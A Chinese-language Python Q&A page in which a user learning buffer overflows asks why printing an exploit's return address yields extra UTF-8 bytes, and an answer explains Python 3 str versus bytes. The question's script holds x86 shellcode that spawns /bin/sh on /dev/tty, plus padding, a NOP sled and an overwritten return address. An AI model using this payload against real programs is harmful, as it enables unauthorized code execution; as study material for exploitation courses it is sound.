Python打印十六进制数据显示错误的值

2024-05-21 08:09:52 发布

您现在位置:Python中文网/ 问答频道 /正文

我正在研究缓冲区溢出,我正在尝试编写一个小漏洞,我需要在填充后附加RIP的地址,问题是当我尝试运行脚本时(将其输出到bin文件并进行hexdump),RIP的地址不正确,下面是我的代码:

#!/bin/python

sig = '2'
pad = '\x41' * 73
rip = '\xb8\xdf\xff\xff\xff\x7f'
shellcode = "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
nop = '\x90' * 100


#code = sig + pad + rip
#code = pad + rip + shellcode + nop

print(rip) # Shows 00000000  c2 b8 c3 9f c3 bf c3 bf  c3 bf 7f 0a  |............| instead of rip (0x7fffffffdfb8 => b8 df ff ff ff 7f)

#print(code)

为什么RIP不正确? 我还试图打印出\xb8,但我得到了:

00000000  c2 b8 0a                                          |...|

为什么要添加0xc2

多谢各位


Tags: bincoderippadxffc3b8bf
1条回答
网友
1楼 · 发布于 2024-05-21 08:09:52

您似乎正在使用Python3,所以字符串文本是Unicode,这意味着当您print一个字符串时,返回的字节将使用任何字符串编码进行编码,Pythondecides is correct for your environment:sys.getdefaultencoding()将告诉您默认情况下使用的编码。在本例中,您将获得U+00B8 CEDILLA的UTF-8编码作为输出的前两个字节

您可能想改用bytes

rip = b'\xb8\xdf\xff\xff\xff\x7f'

相关问题 更多 >